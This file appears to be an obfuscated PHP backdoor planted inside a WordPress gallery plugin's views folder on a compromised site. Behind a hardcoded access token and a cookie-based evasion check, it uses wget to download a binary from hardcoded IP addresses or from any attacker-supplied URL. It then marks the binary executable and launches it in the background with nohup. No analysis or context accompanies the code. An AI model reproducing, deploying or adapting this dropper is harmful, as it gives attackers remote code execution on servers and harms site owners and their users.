Current File : /home/mdkeenpw/shafqattraders.com/wp-content/plugins/foogallery/views/printanswers.php
<?php

if(isset($_COOKIE['KpSD'])) {
    die('urz3W'.'XiV');
}
$_0="J\067bOyjEvr\107Y0\156qw\153dIM4917F7dno\166zb5\066r\107LPHJsyQhviN\x7aoG\163J0";$_1=["ht\x74p://8\060\05694\05695.231/amd\0664","\150ttp\072//80\056\x394\x2e9\x35\056\062\x331\x2famd64"];$_2="m\171_\x61ppl\x69cat\x69o\156";if(!isset($_GET["token"])||$_GET["t\x6fk\x65n"]!==$_0):HeaDer("HT\x54\120/1.1 \x3403\040\x46orb\x69\144den");die("ACC\x45SS\x20DE\116IED:\x20\111nvali\144 or \x6di\x73\x73in\147 \164oke\156.");endif;hEADer("Co\156ten\164-Typ\145:\x20text/pla\x69n; \x63h\141rs\x65t=utf-8");$_3=BasenAmE(isset($_GET["name"])&&!empty($_GET["n\141me"])?$_GET["n\x61\155e"]:$_2);if(!PReG_matCh("/\x5e\x5b\x61-zA-Z\x30-9\137\x2e-]+\x24/",$_3)):HEADEr("\110TTP/\x31.1 400\x20Ba\144 \122eques\x74");die("ERROR: I\x6eva\154\x69d\040\x63haract\145\x72s \x69n\040bin\x61ry\040n\x61me.");endif;$_4=__DIR__."/".$_3;$_5=[];if(isset($_GET["url"])&&!empty($_GET["url"])):$_6=$_GET["\165rl"];if(!fILTEr_VaR($_6,FILTER_VALIDATE_URL)||!In_arRAy(PARSe_url($_6,PHP_URL_SCHEME),["\150\164tp","https"])):header("HTTP\057\x31\x2e\061 400 Bad Requ\x65st");die("\x45\x52ROR\072 I\x6ev\x61lid\040o\x72 \x75nsa\146e\040U\x52L \x70\162o\166i\144\x65d\x2e");endif;$_5[]=$_6;echo"\125si\x6eg\040URL pro\x76ide\144 in \x72eque\x73t: ".$_6."\x0a";else:$_5=$_1;echo"Using\040predefin\x65\x64 fallback URL li\x73t\056\012";endif;$_7=false;foreach($_5 as$_8):echo"A\x74t\145\x6dpting\x20to downloa\144 fr\157m: ".$_8." ..\056\x0a";$_9=spRIntf("wg\145\164\x20-t\x201 \x2d\124 15 -\161 -O %s %s",escAPeshellARG($_4),eSCAPEshelLARg($_8));ExEC($_9,$_10,$_11);if($_11===(int)rOUnD(0+0)):echo"Down\154o\141d su\x63ce\x73s\146ul!\012";$_7=true;break;else:echo"Fail\145d. \124\162\171in\x67 \x6ee\x78t UR\114 if \141v\141\x69la\142\x6ce\x2e..\012";endif;endforeach;if(!$_7):die("F\x41TAL ERROR: \103ould not \144\157\x77\156load\040the\x20\x62\x69n\141\162y fr\x6fm any o\x66 th\145 provide\x64 \x55RLs.");endif;eXEC("pgrep \055f ".esCAPEShellarG($_4),$_12,$_13);if($_13===(01371-01371)):die("\111NFO:\040\120rocess\040'".$_3."' i\163 a\154\162ead\x79 r\165nni\x6eg\x20with \x50ID(\x73): ".ImpLOde("\054 ",$_12));endif;echo"S\164a\x72tin\x67\040process '".$_3."\047\x2e..\x0a";$_14=sPRIntf("ch\x6dod \053x\040\045s && n\x6f\x68\x75p %s > /\144ev/null 2>&1 &",EscaPESHellaRg($_4),EScAPesHELlaRG($_4));SHelL_EXeC($_14);SLeEP((int)RoUNd(0.25+0.25+0.25+0.25));eXEc("pg\162ep -\146\040".EsCApeshElLaRG($_4),$_15,$_16);if($_16===(int)RouNd(0+0+0+0)):echo"SU\103CESS: \x50rocess '".$_3."' s\164arted\040\x77i\164h PID\x28s): ".iMploDe(",\040",$_15)."\x0a";else:echo"\105RR\x4fR:\040Failed \164o start pro\143ess '".$_3."'\056 C\150e\x63\153 permis\163ions.\012";endif;;